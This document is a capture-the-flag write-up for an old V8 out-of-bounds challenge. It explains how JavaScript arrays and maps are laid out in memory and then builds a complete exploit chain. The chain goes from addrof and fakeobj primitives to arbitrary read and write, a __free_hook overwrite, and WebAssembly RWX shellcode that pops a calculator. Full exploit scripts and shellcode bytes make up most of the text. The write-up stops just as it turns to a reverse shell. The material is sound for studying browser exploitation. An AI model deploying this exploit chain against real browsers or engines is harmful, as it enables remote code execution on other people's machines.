Ok so first off, we're gonna need an old VM. Why? It's an old challenge with an old version of v8. Back then, the v8 version compilation steps required the python command to point at python2 instead of python3 like on my ParrotOS VM, and there is the odd number of other steps. Long story short, there is a very real possibility for needing to jerry-rig a bunch of stuff, and I don't want to break a VM I actually use. Whoops.
So, we're gonna use a Ubuntu 18.04 VM. You can get the ISO file directly from here (amd64 version), and then set up a VM in VMware Workstation or your preferred virtualisation program.
Now we want to set up the system we're actually attacking. Instead of building v8 itself, we're going to build d8, the REPL (read–eval–print loop) for v8. It's essentially the command-line of v8, meaning we can compile less.
First off, install useful stuff.
$sudoaptupdate$sudoaptinstallgitvim
Now let's grab the depot_tools, which is needed for building v8, then add it to our PATH:
Restart terminal for PATH to update. Then in folder of choice (I am in ~/Desktop/oob-v8), we fetch v8 and install all the dependencies needed to build it:
$fetchv8$cdv8v8$./build/install-build-deps.sh
The next step is to checkout the commit that the challenge is based on, then sync the local files to that:
Now we want to apply the diff file we get given. The challenge archive can be found here, and we'll extract it. The oob.diff file defines the changes made to the source code since the commit we checked out, which includes the vulnerability.
Traceback (most recent call last): File "/tools/depot_tools/ninja.py", line 14,in<module>import gclient_paths File "/tools/depot_tools/gclient_paths.py", line 24,in<module>defFindGclientRoot(from_dir,filename='.gclient'): File "/usr/lib/python3.6/functools.py", line 477,in lru_cacheraiseTypeError('Expected maxsize to be an integer or None')TypeError: Expected maxsize to be an integer orNone
According to this GitHub issue in NVIDIA, this is because in python 3.8+ lru_cache has gotten a user_function argument. We can try and update to python3.8, but the fear is that it will break something. Oh well! Let's try anyway.
$sudoaptinstallpython3.8
Now we have Python 3.8 installed in /usr/bin/python3.8, we can try and overwrite the symlink /usr/bin/python3 to point here instead of the default 3.6.9 version that came with the ISO.
$sudoln-sf/usr/bin/python3.8/usr/bin/python3
Now we hope and pray that rerunning the ninja command breaks nothing:
$ ninja --version
depot_tools/ninja.py: Could not find Ninja in the third_party of the current project, nor in your PATH.
Please take one of the following actions to install Ninja:
- If your project has DEPS, add a CIPD Ninja dependency to DEPS.
- Otherwise, add Ninja to your PATH *after* depot_tools.
I'm going to revert default Python to version 3.6 to minimise the possibility of something breaking.
$sudoln-sf/usr/bin/python3.6/usr/bin/python3
I'm also going to install gef, the GDB extension. gef is actively maintained, and also actually supports Ubuntu 18.04 (which pwndbgdoes not officially, although that's due to requiring Python 3.8+ which we have technically set up in a roundabout way - use at your own risk!).
In essence, there is a new function ArrayOob that is implemented. We can see it's added to the array object as a .oob() method:
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
There's the odd bit of other stuff thrown around for getting it working, but the actual source of the challenge is (unsurprisingly) ArrayOob itself (with a name like that, who would have thought?). Cleaned up a little, it looks like this:
Familiarity with the V8 codebase is unlikely, and even if you are familiar with it, it's unlikely you can read it like a native language.
It looks at the number of arguments the function takes, then stores it in len
If len is greater than 2, it throws an error (note that the first argument is always this, so in reality it's just one).
It then gets the array in question, stored in array
array is cast to a FixedDoubleArray, an array of fixed size that stores doubles, called elements
The length of the array is stored in length
If there is no argument (len == 1, i.e. only this is passed) then elements[length] is returned as a number
This is a clear Out-Of-Bounds (OOB) Read, as arrays in javascript are zero-indexed like most other programming languages
If an argument is given, elements[length] is set to the value that is the argument cast to a Number with Object::ToNumber
This is a clear Out-Of-Bounds (OOB) Write, for the same reason as above
So we have a very clear OOB vulnerability, allowing both a read and a write to one index further than the maximum length of the array. This begs an important question: what exists past the end of an array?
First, let's talk about data types in V8 and how they are represented.
Values and their Types
V8 uses pointers, doubles and smis (standing for immediate small integers). Since it has to distinguish between these values, they are all stored in memory with slight differences.
A double is stored as its 64-bit binary representation (easy)
An smi is a 32-bit number, but it's stored as itself left-shifted by 32 so the bottom 32 bits are null
e.g. 0x12345678 is stored as 0x1234567800000000
A pointer to an address addr is stored as addr | 1, that is the least significant bit is set to 1.
e.g. 0x12345678 is stored as 0x12345679
This helps differentiate it from an smi, but not from a double!
Saelo's paper refers to pointers as HeapObjects as well.
Integers in V8
Any output you get will always be in floating-point form; this is because V8 actually doesn't have a way to express 64-bit integers normally. We need a way to convert floating-point outputs to hexadecimal addresses (and vice versa!). To do this, we'll use the standard approach, which is as follows:
You'll see these functions in most V8 exploits. They essentially just convert between interpreting data as floating-point form or as integers.
We're going to throw this into a javascript file exploit.js. If we want to use these functions, we can simply pass them to d8 in the command line:
./d8--shell./exploit.js
Maps
The Map is an incredibly important V8 data structure, storing key information such as
The dynamic type of the object (e.g. String, Uint8Array, etc)
The size of the object in bytes
The properties of the object and where they are stored
The type of the array elements (e.g. unboxed doubles, tagged pointers, etc)
Each javascript object is linked to a map. While the property names are usually stored in the map, the values are stored with the object itself. This allows objects with the same sort of structure to share maps, increasing efficiency.
There are three different regions that property values can be stored
Inside the object itself (inline properties)
In a separate dynamically-sized heap buffer (out-of-line properties)
If the property name is an integer index, then as array elements in a dynamically-sized heap array
to be honest, not entirely sure that this means, but I'll get it eventually
In the first two cases, the Map stores each property of the object with a linked slot number. Each object then contains all of the property values, matching with the slot number of the relevant property. The object does not store the name of the property, only the slot number.
I promise this makes sense - for example, let's take two array objects:
var object1 = {a:20, b:40};var object2 = {a:30, b:60};
Once this is run, memory will contain twoJSObject instances and one Map:
We can see that the Map stores the properties a and b, giving them the slot values 0 and 1 respectively. The two objects object1 and object2, because of their identical structure, both use Map1 as a map. The objects do not themselves know the name of the properties, only the slot values, which they assign a value to.
However, if we add another property - say c, with value 60 - to object1, they stop sharing the map:
If we then added a property c to object2, they would then share Map1 again! This works assigning each map something called a transition table, which is just a note of which map to transition to if a property of a certain name (and possibly type) are added to it. In the example above, Map2 would make a note that if a property c is added to object2 then it should transition to use Map1.
Let's see how this works out in memory for arrays using the debug version of d8, along with the incredibly helpful %DebugPrint() feature that comes along with it. We'll run it under gdb so we can analyse memory as well, and make connections between all the parts.
What exists after the end of an Array?
Instead of creating our own objects, let's focus specifically on how it works for arrays, as that is what we are dealing with here.
That is a lot of information. Let's sift through the relevant parts.
Firstly, we notice that a is a type JSArray, stored in memory at 0x30b708b4dd70. The array's map is stored at 0x09bccc0c2ed8, with the properties (in this case length) stored at 0x3659bdb00c70. The elements themselves are in a FixedDoubleArray stored at 0x30b708b4dd50.
Remember pointer tagging! All the addresses are represented as addr | 1, so we have to subtract off 1 for every pointer to get the real location!
Let's view memory itself. Hit Ctrl-C and you'll go to the gef prompt. Let's view the memory at the location of the JSArray object itself, 0x30b708b4dd70.
So the JSArray first has its pointer to its own map, then a pointer to its properties, then a pointer to its elements and then its length (note that length will be an smi, so a length of 2 is actually represented in memory as 2<<32!).
One thing that is very curious is that the the elements array is actually located 0x20 bytes ahead of memory from the JSArray object itself. Interesting! Let's view it:
Note that elements itself is a FixedDoubleArray, so the first value will be a pointer to its map at 0x00003659bdb014f8; this map doesn't concern us right now. The next value is the length of the FixedDoubleArray, the smi of 0x2 again. After this, it gets interesting.
As expected, the next two entries are the doubles representing 1.5 and 2.5, the entries in the array:
But immediately after in memory is the original JSArray. So? Well, if we have an OOB read/write to an extra index past the array, the value we are accessing is the pointer in the JSArray that points to the map. We can write to and read the map of the array.
Just to confirm this is correct, we're going to run the release version of d8 and check the output of .oob(). The reason we have to use release is that the debug version has a lot more safety and OOB checks (I assume for fuzzing purposes) so will just break if we try to use a.oob(). We need to run it with --shell exploit.js, and you'll see why in a second.
$ gdb d8 gef➤ run --allow-natives-syntax --shell exploit.jsV8 version 7.5.0 (candidate)d8> a = [1.5,2.5][1.5,2.5]d8>a.oob()2.28382032514e-310
Now we need to use our ftoi() function to convert it to a hexadecimal integer:
d8>ftoi(a.oob()).toString(16)"2a0a9af82ed9"
Note that ftoi() only exists because of the --shell, which is why we needed it.
If our reasoning is correct, this is a pointer to the map, which is located at 0x2a0a9af82ed9. Let's compare with GDB tells us:
The first value at the location of the JSArray is, as we saw earlier, the pointer to the map. Not only that, but we successfully read it! Look - it's 0x2a0a9af82ed9 again!
Now we know we can read and write to the map that the array uses. How do we go from here?
Abusing Map Control
Values vs Pointers
The important thing to note is that sometimes a program will store values (pass by value), and sometimes it will store a pointer to a value (pass by reference). We can abuse this functionality, because an array of doubles will store the double values themselves while an array of objects will store pointers to the objects.
This means there is an extra link in the chain - if we do array[2] on an array of doubles, V8 will go to the address in memory, read the value there, and return it. If we do array[2] on an array of objects, V8 will go to the address in memory, read the value there, go to that address in memory, and return the object placed there.
We can see this behaviour by defining two arrays, one of doubles and one of custom objects:
Note that the elements array in the second case has values 0x3a38af8904f1 and 0x3a38af8906b1. If our suspicions are correct, they would be pointers to the objects obj1 and obj2. Do c to continue the d8 instance, and print out the debug for the objects:
What happens if we overwrite the map of an object array with the map of a float array? Logic dictates that it would treat it as a double rather than a pointer, resulting in a leak of the location of obj1! Let's try it.
We leak 0x3a38af8904f1 - which is indeed the location of obj1! We therefore can leak the location of objects. We call this an addrof primitive, and we can add another function to our exploit.js to simplify it:
var float_arr = [1.5,2.5];var map_float =float_arr.oob();var initial_obj = {a:1}; // placeholder objectvar obj_arr = [initial_obj];var map_obj =obj_arr.oob();functionaddrof(obj) { obj_arr[0] = obj; // put desired obj for address leak into index 0obj_arr.oob(map_float); // change to float maplet leak = obj_arr[0]; // read addressobj_arr.oob(map_obj); // change back to object map, to prevent issues down the linereturnftoi(leak); // return leak as an integer}
Really importantly, the reason we can set map_obj and get the map is because obj_arr.oob() will return the value as a double, which we noted before! If it returned that object itself, the program would crash. You can see this in my Download Horsepower writeup.
We can load it up in d8 ourselves and compare the results:
$ gdb d8 gef➤ run --allow-natives-syntax --shell exploit.jsV8 version 7.5.0 (candidate)d8> obj = {a:1}{a:1}d8>%DebugPrint(obj)0x031afef4ebe9<Object map =0x3658c164ab39>{a:1}d8>addrof(obj).toString(16)"31afef4ebe9"
Perfect, it corresponds exactly!
Creating Fake Objects
The opposite of the addrof primitive is called a fakeobj primitive, and it works in the exact opposite way - we place a memory address at an index in the float array, and then change the map to that of the object array.
functionfakeobj(addr) { float_arr[0] =itof(addr); // placed desired address into index 0float_arr.oob(map_obj); // change to object maplet fake = float_arr[0]; // get fake objectfloat_arr.oob(map_float); // swap map backreturn fake; // return object}
Arbitrary Reads
From here, an arbitrary read is relatively simple. It's important to remember that whatever fakeobj() returns is an object, not a read! So if the data there does not form a valid object, it's useless.
The trick here is to create a float array, and then make the first index a pointer to a map for the float array. We are essentially faking an array object inside the actual array. Once we call fakeobj() here, we have a valid, faked array.
But why does this help? Remember that the third memory address in a JSArray object is an elements pointer, which is a pointer to the list of values actually being stored. We can modify the elements pointer by accessing index 2 of the real array, faking the elements pointer to point to a location of our choice. Accessing index 0 of the fake array will then read from the fake pointer!
[TODO image, but not sure what exactly would help]
Because we need an index 2, we're going to make the array of size 4, as 16-byte alignment is typically nice and reduces the probability of things randomly breaking.
// array for access to arbitrary memory addressesvar arb_rw_arr = [map_float,1.5,2.5,3.5];console.log("[+] Address of Arbitrary RW Array: 0x"+addrof(arb_rw_arr).toString(16));
Now we want to start an arb_read() function. We can begin by tagging the pointer, and then placing a fakeobj at the address of the arb_rw_arr:
functionarb_read(addr) {// tag pointerif (addr %2n==0) addr +=1n;// place a fake object over the elements FixedDoubleArray of the valid arraylet fake =fakeobj(addrof(arb_rw_arr));}
HOWEVER - this is not quite right! We want fake to point at the first element of the FixedDoubleArrayelements, so we need an offset of 0x20 bytes back (doubles are 8 bytes of space each, and we know from before that elements is just ahead of the JSArray itself in memory), so it looks like this:
functionarb_read(addr) {// tag pointerif (addr %2n==0) addr +=1n;// place a fake object over the elements FixedDoubleArray of the valid array// we know the elements array is placed just ahead in memory, so with a length// of 4 it's an offset of 4 * 0x8 = 0x20 let fake =fakeobj(addrof(arb_rw_arr) -0x20n);}
Now we want to access arb_rw_arr[2] to overwrite the fake elements pointer in the fake array. We want to set this to the desired RW address addr, but again we need an offset! This time it's 0x10 bytes, because the first index is 0x10 bytes from the start of the object as the first 8 bytes are a map and the second 8 are the length smi:
// overwrite `elements` field of fake array with address// we must subtract 0x10 as there are two 64-bit values// initially with the map and a size smi, so 0x10 offsetarb_rw_arr[2] =itof(BigInt(addr) -0x10n);
And finally we return the leak. Putting it all together:
// array for access to arbitrary memory addressesvar arb_rw_arr = [map_float,1.5,2.5,3.5];console.log("[+] Address of Arbitrary RW Array: 0x"+addrof(arb_rw_arr).toString(16));functionarb_read(addr) {// tag pointerif (addr %2n==0) addr +=1n;// place a fake object over the elements FixedDoubleArray of the valid array// we know the elements array is placed just ahead in memory, so with a length// of 4 it's an offset of 4 * 0x8 = 0x20 let fake =fakeobj(addrof(arb_rw_arr) -0x20n);// overwrite `elements` field of fake array with address// we must subtract 0x10 as there are two 64-bit values// initially with the map and a size smi, so 0x10 offset arb_rw_arr[2] =itof(BigInt(addr) -0x10n);// index 0 will returns the arbitrary read valuereturnftoi(fake[0]);}
Arbitrary Writes
Initial Fail
Logic would dictate that we could equally get an arbitrary write using the same principle, by simply setting the value instead of returning it. Unfortunately, not quite - if we look at Faith's original writeup, the initial_arb_write() function fails:
functioninitial_arb_write(addr, val) {// place a fake object and change elements, as beforelet fake =fakeobj(addrof(arb_rw_arr) -0x20n); arb_rw_arr[2] =itof(BigInt(addr) -0x10n);// Write to index 0 fake[0] =itof(BigInt(val));}
Note that we're not explicitly accounting for pointer tagging here. This is not because it's not important, but because the way we've set up addrof and fakeobj preserves the tagging, and since we're working with static offsets of multiples of 0x10 the tag is preserved. If we tried to explicitly write to a location, we would have to tag it. If we wanted to be very thorough, we would put pointer tagging explicitly in all functions.
In the blog post they tell us they're not sure why, and goes on to explain the intended method with ArrayBuffer backing pointers. In a short twitter conversation we had they tell us that
The arbitrary write doesn't work with certain addresses due to the use of floats. The overwrite had precision loss with certain addresses, but this wasn't the case with ArrayBuffer backing pointers. The code handles that differently compared to the elements ptr.
I can confirm that running the initial_arb_write() does, in fact, crash with a SIGSEGV. If anybody finds a fix, I'm sure they would be very interested (and I would too).
The backing store of an ArrayBuffer is much like the elements of a JSArray, in that it points to the address of the object that actually stores the information. It's placed 0x20 bytes ahead of the ArrayBuffer in memory (which you can check with GDB).
We will have to use the initial_arb_write() to perform this singular write, and hope that the address precision is good enough (if not, we just run it again).
functionarb_write(addr, val) {// set up ArrayBuffer and DataView objectslet buf =newArrayBuffer(8);let dataview =newDataView(buf);let buf_addr =addrof(buf);let backing_store_addr = buf_addr +0x20n;// write address to backing storeinitial_arb_write(backing_store_addr, addr);// write data to offset 0, with little endian truedataview.setBigUint64(0,BigInt(val),true);}
Getting RCE
From here, it's similar to userland exploitation.
Overwriting __free_hook() with system()
The simplest approach, as any call to console.log() will inevitably be freed immediately after. To do this, we'll need a libc leak.
In order for it to be reliable, it'll have to be through a section of memory allocated by V8 itself. We can use GDB to comb throught the memory of the area that stored the maps. I'm going to get exploit.js to print out a bunch of the addresses we have. I'll then try and retrieve every single notable address I can.
So the offsets appear to be 0x2ed9 and 0x2f79. Let's throw that into exploit.js and see if that's right by running it again and again. It appears to be, but randomly there is an issue and the address is not even in assigned memory - I assume it's at least in part due to the floating-point issues.
Now we have that, let's try combing through the map region and see if there are any other interesting values at fixed offsets.
We can see that, very close to the start of the region, there appear to be two heap addresses (and more later). This makes sense, as many maps will point to areas of the heap as the heap stores dynamically-sized data.
That seems more useful than what we have right now, so let's grab that and see if the offset is constant. Right now, the offsets are 0xaef60 and 0x212e0. They appear to be constant. Let's throw those leaks in too.
It all seems to be pretty good, but a heap leak itself is not the most helpful. Let's keep digging, but looking at the heap this time, as that is probably more likely to store libc or binary addresses.
Ok, pretty useless. What about if we actually use the heap addresses we have, and see if there's anything useful there? The first one has nothing useful, but the second:
The vmmap output for this specific run shows a binary base of 0x555555554000 and a heap base of 0x5555562f9000. This makes the first address a binary address! Let's make sure it's a consistent offset from the base, and we're also gonna swap out our exploit to use the second heap address we spotted in the map region. And it is!
// conversion functionsvar buf =newArrayBuffer(8);var f64_buf =newFloat64Array(buf);var u64_buf =newUint32Array(buf);functionftoi(val) { // typeof(val) = float f64_buf[0] = val;returnBigInt(u64_buf[0]) + (BigInt(u64_buf[1]) <<32n);}functionitof(val) { // typeof(val) = BigInt u64_buf[0] =Number(val &0xffffffffn); u64_buf[1] =Number(val >>32n);return f64_buf[0];}// othersvar float_arr = [1.5,2.5];var map_float =float_arr.oob();var initial_obj = {a:1}; // placeholder objectvar obj_arr = [initial_obj];var map_obj =obj_arr.oob();functionaddrof(obj) { obj_arr[0] = obj; // put desired obj for address leak into index 0obj_arr.oob(map_float); // change to float maplet leak = obj_arr[0]; // read addressobj_arr.oob(map_obj); // change back to object map, to prevent issues down the linereturnftoi(leak); // return leak as an integer}functionfakeobj(addr) { float_arr[0] =itof(addr); // placed desired address into index 0float_arr.oob(map_obj); // change to object maplet fake = float_arr[0]; // get fake objectfloat_arr.oob(map_float); // swap map backreturn fake; // return object}// array for access to arbitrary memory addressesvar arb_rw_arr = [map_float,1.5,2.5,3.5];console.log("[+] Address of Arbitrary RW Array: 0x"+addrof(arb_rw_arr).toString(16));functionarb_read(addr) {// tag pointerif (addr %2n==0) addr +=1n;// place a fake object over the elements FixedDoubleArray of the valid array// we know the elements array is placed just ahead in memory, so with a length// of 4 it's an offset of 4 * 0x8 = 0x20 let fake =fakeobj(addrof(arb_rw_arr) -0x20n);// overwrite `elements` field of fake array with address// we must subtract 0x10 as there are two 64-bit values// initially with the map and a size smi, so 0x10 offset arb_rw_arr[2] =itof(BigInt(addr) -0x10n);// index 0 will returns the arbitrary read valuereturnftoi(fake[0]);}functioninitial_arb_write(addr, val) {// place a fake object and change elements, as beforelet fake =fakeobj(addrof(arb_rw_arr) -0x20n); arb_rw_arr[2] =itof(BigInt(addr) -0x10n);// Write to index 0 fake[0] =itof(BigInt(val));}functionarb_write(addr, val) {// set up ArrayBuffer and DataView objectslet buf =newArrayBuffer(8);let dataview =newDataView(buf);let buf_addr =addrof(buf);let backing_store_addr = buf_addr +0x20n;// write to address to backing storeinitial_arb_write(backing_store_addr, addr);// write data to offset 0, with little endian truedataview.setBigUint64(0,BigInt(val),true);}// exploit// leaksconsole.log("[+] Float Map: 0x"+ftoi(map_float).toString(16));console.log("[+] Object Map: 0x"+ftoi(map_obj).toString(16));let map_reg_start =ftoi(map_float) -0x2ed9n;console.log("[+] Map Region Start: 0x"+map_reg_start.toString(16));let heap_leak =arb_read(map_reg_start +0x18n);let heap_base = heap_leak -0x212e0n;console.log("[+] Heap Base: 0x"+heap_base.toString(16));let binary_leak =arb_read(heap_leak);let binary_base = binary_leak -0xd87ea8n;console.log("[+] Binary Base: 0x"+binary_base.toString(16));let read_got = binary_base +0xd9a4c0n;console.log("[+] read@got: 0x"+read_got.toString(16));let read_libc =arb_read(read_got);console.log("[+] read@libc: 0x"+read_libc.toString(16));let libc_base = read_libc -0xbc0430n;console.log("[+] LIBC Base: 0x"+libc_base.toString(16));// system and free hook offsetslet system = libc_base +0x4f420n;let free_hook = libc_base +0x3ed8e8n;console.log("[+] Exploiting...");arb_write(free_hook, system);console.log("xcalc");
Unfortunately, as Faith recognised in their article, when running the exploit on the Chrome binary itself (the actual browser provided with the challenge!) the __free_hook route does not work. It's likely due to a different memory layout as a result of different processes running, so the leaks are not the same and the offsets are broken. Debugging would be nice, but it's very hard with the given binary. Instead we can use another classic approach and abuse WebAssembly to create a RWX page for our shellcode.
Abusing WebAssembly
This approach is even better because it will (theoretically) work on any operating system, not be reliant on the presence of libc and __free_hook as it allows us to run our own shellcode. I'm gonna save this in exploit2.js.
If we create a function in WebAssembly, it will create a RWX page that we can leak. The WASM code itself is not important, we only care about the RWX page. To that effect I'll use the WASM used by Faith, because the website wasmfiddle has been closed down and I cannot for the life of me find an alternative. Let me know if you do.
var wasm_code =newUint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasm_mod =newWebAssembly.Module(wasm_code);var wasm_instance =newWebAssembly.Instance(wasm_mod);var f =wasm_instance.exports.main;
If we leak the addresses of wasm_mod, wasm_instance and f, none of them are actually located in the RWX page, so we can't simply addrof() and apply a constant offest. Instead, we're gonna comb memory for all references to the RWX page. The WASM objects likely need a reference to it of sorts, so it's possible a pointer is stored near in memory.
console.log("[+] WASM Mod at 0x"+addrof(wasm_mod).toString(16));console.log("[+] WASM Instance at 0x"+addrof(wasm_instance).toString(16));console.log("[+] F at 0x"+addrof(f).toString(16));
gef➤ run --allow-natives-syntax --shell exploit2.js[+] Address of Arbitrary RW Array:0x22322b10f919[+] WASM Mod at 0x22322b10fcc9[+] WASM Instance at 0x45c390e13a1[+] F at 0x45c390e1599V8 version 7.5.0 (candidate)d8>^Cgef➤ vmmap[...]0x00003112541590000x000031125415a0000x0000000000000000 rwx[...]gef➤ search-pattern 0x0000311254159000[+] Searching '\x00\x90\x15\x54\x12\x31\x00\x00'in memory[+] In (0x45c390c0000-0x45c39100000), permission=rw-0x45c390e1428-0x45c390e1448 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"[+] In '[heap]'(0x5555562f9000-0x5555563c6000), permission=rw-0x5555563a1e38-0x5555563a1e58 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"0x5555563acfe0-0x5555563ad000 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"0x5555563ad000-0x5555563ad020 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"0x5555563ad120-0x5555563ad140 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"
The last four are in the heap, so unlikely, but the first instance is near to the wasm_instance and f. The offset between wasm_instance and that offset appears to be 0x87. In reality it is 0x88 (remember pointer tagging!), but that works for us.
let rwx_pointer_loc =addrof(wasm_instance) +0x87n;let rwx_base =arb_read(rwx_pointer_loc);console.log("[+] RWX Region located at 0x"+rwx_base.toString(16));
It spits out the right base, which is great. Now we just want to get shellcode for popping calculator as well as a method for copying the shellcode there. I'm gonna just (once again) shamelessly nab Faith's implementations for that, which are fairly self-explanatory.
functioncopy_shellcode(addr, shellcode) {// create a buffer of 0x100 byteslet buf =newArrayBuffer(0x100);let dataview =newDataView(buf);// overwrite the backing store so the 0x100 bytes can be written to where we want// this is similar to the arb_write() function// but we have to redo it because we want to write way more than 8 byteslet buf_addr =addrof(buf);let backing_store_addr = buf_addr +0x20n;initial_arb_write(backing_store_addr, addr);// write the shellcode 4 bytes at a timefor (let i =0; i <shellcode.length; i++) {dataview.setUint32(4*i, shellcode[i],true); }}// https://xz.aliyun.com/t/5003var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
And then we just copy it over and pop a calculator:
Running this under GDB causes it to crash for me, but running it in bash works fine:
$./d8--shellexploit2.js[+] Address of Arbitrary RW Array: 0x19b85504fea1[+] WASM Instance at 0x189e40ca1761[+] RWX Region located at 0x29686af10000[+] Copying Shellcode...[+] Running Shellcode...Warning:Cannotconvertstring"-adobe-symbol-*-*-*-*-*-120-*-*-*-*-*-*"totypeFontStruct
With a calculator popped!
Full Exploit
// conversion functionsvar buf =newArrayBuffer(8);var f64_buf =newFloat64Array(buf);var u64_buf =newUint32Array(buf);functionftoi(val) { // typeof(val) = float f64_buf[0] = val;returnBigInt(u64_buf[0]) + (BigInt(u64_buf[1]) <<32n);}functionitof(val) { // typeof(val) = BigInt u64_buf[0] =Number(val &0xffffffffn); u64_buf[1] =Number(val >>32n);return f64_buf[0];}// othersvar float_arr = [1.5,2.5];var map_float =float_arr.oob();var initial_obj = {a:1}; // placeholder objectvar obj_arr = [initial_obj];var map_obj =obj_arr.oob();functionaddrof(obj) { obj_arr[0] = obj; // put desired obj for address leak into index 0obj_arr.oob(map_float); // change to float maplet leak = obj_arr[0]; // read addressobj_arr.oob(map_obj); // change back to object map, to prevent issues down the linereturnftoi(leak); // return leak as an integer}functionfakeobj(addr) { float_arr[0] =itof(addr); // placed desired address into index 0float_arr.oob(map_obj); // change to object maplet fake = float_arr[0]; // get fake objectfloat_arr.oob(map_float); // swap map backreturn fake; // return object}// array for access to arbitrary memory addressesvar arb_rw_arr = [map_float,1.5,2.5,3.5];console.log("[+] Address of Arbitrary RW Array: 0x"+addrof(arb_rw_arr).toString(16));functionarb_read(addr) {// tag pointerif (addr %2n==0) addr +=1n;// place a fake object over the elements FixedDoubleArray of the valid array// we know the elements array is placed just ahead in memory, so with a length// of 4 it's an offset of 4 * 0x8 = 0x20 let fake =fakeobj(addrof(arb_rw_arr) -0x20n);// overwrite `elements` field of fake array with address// we must subtract 0x10 as there are two 64-bit values// initially with the map and a size smi, so 0x10 offset arb_rw_arr[2] =itof(BigInt(addr) -0x10n);// index 0 will returns the arbitrary read valuereturnftoi(fake[0]);}functioninitial_arb_write(addr, val) {// place a fake object and change elements, as beforelet fake =fakeobj(addrof(arb_rw_arr) -0x20n); arb_rw_arr[2] =itof(BigInt(addr) -0x10n);// Write to index 0 fake[0] =itof(BigInt(val));}functionarb_write(addr, val) {// set up ArrayBuffer and DataView objectslet buf =newArrayBuffer(8);let dataview =newDataView(buf);let buf_addr =addrof(buf);let backing_store_addr = buf_addr +0x20n;// write to address to backing storeinitial_arb_write(backing_store_addr, addr);// write data to offset 0, with little endian truedataview.setBigUint64(0,BigInt(val),true);}// wasm exploitvar wasm_code =newUint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasm_mod =newWebAssembly.Module(wasm_code);var wasm_instance =newWebAssembly.Instance(wasm_mod);var f =wasm_instance.exports.main;console.log("[+] WASM Instance at 0x"+ (addrof(wasm_instance)).toString(16));// leak RWX baselet rwx_pointer_loc =addrof(wasm_instance) +0x87n;let rwx_base =arb_read(rwx_pointer_loc)console.log("[+] RWX Region located at 0x"+rwx_base.toString(16));// shellcode timefunctioncopy_shellcode(addr, shellcode) {// create a buffer of 0x100 byteslet buf =newArrayBuffer(0x100);let dataview =newDataView(buf);// overwrite the backing store so the 0x100 can be written to where we wantlet buf_addr =addrof(buf);let backing_store_addr = buf_addr +0x20n;initial_arb_write(backing_store_addr, addr);// write the shellcode 4 bytes at a timefor (let i =0; i <shellcode.length; i++) {dataview.setUint32(4*i, shellcode[i],true); }}// https://xz.aliyun.com/t/5003var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];// pop itconsole.log("[+] Copying Shellcode...");copy_shellcode(rwx_base, shellcode);console.log("[+] Running Shellcode...");f();
Make sure exploit2.js is in the same folder. Then load the index.html with the version of Chrome bundled in the challenge:
$./chrome--no-sandbox../../index.html
And it pops calculator! You can also place it in another folder and use python's SimpleHTTPServer to serve it and connect that way - it works either way.
Getting a Reverse Shell instead
Well, we are hackers, we like the idea of a reverse shell, no? Plus it makes you feel way cooler to be able to do that.
Grabbing the reverse shell code from here and modifying it slightly to change it to loopback to 127.0.0.1: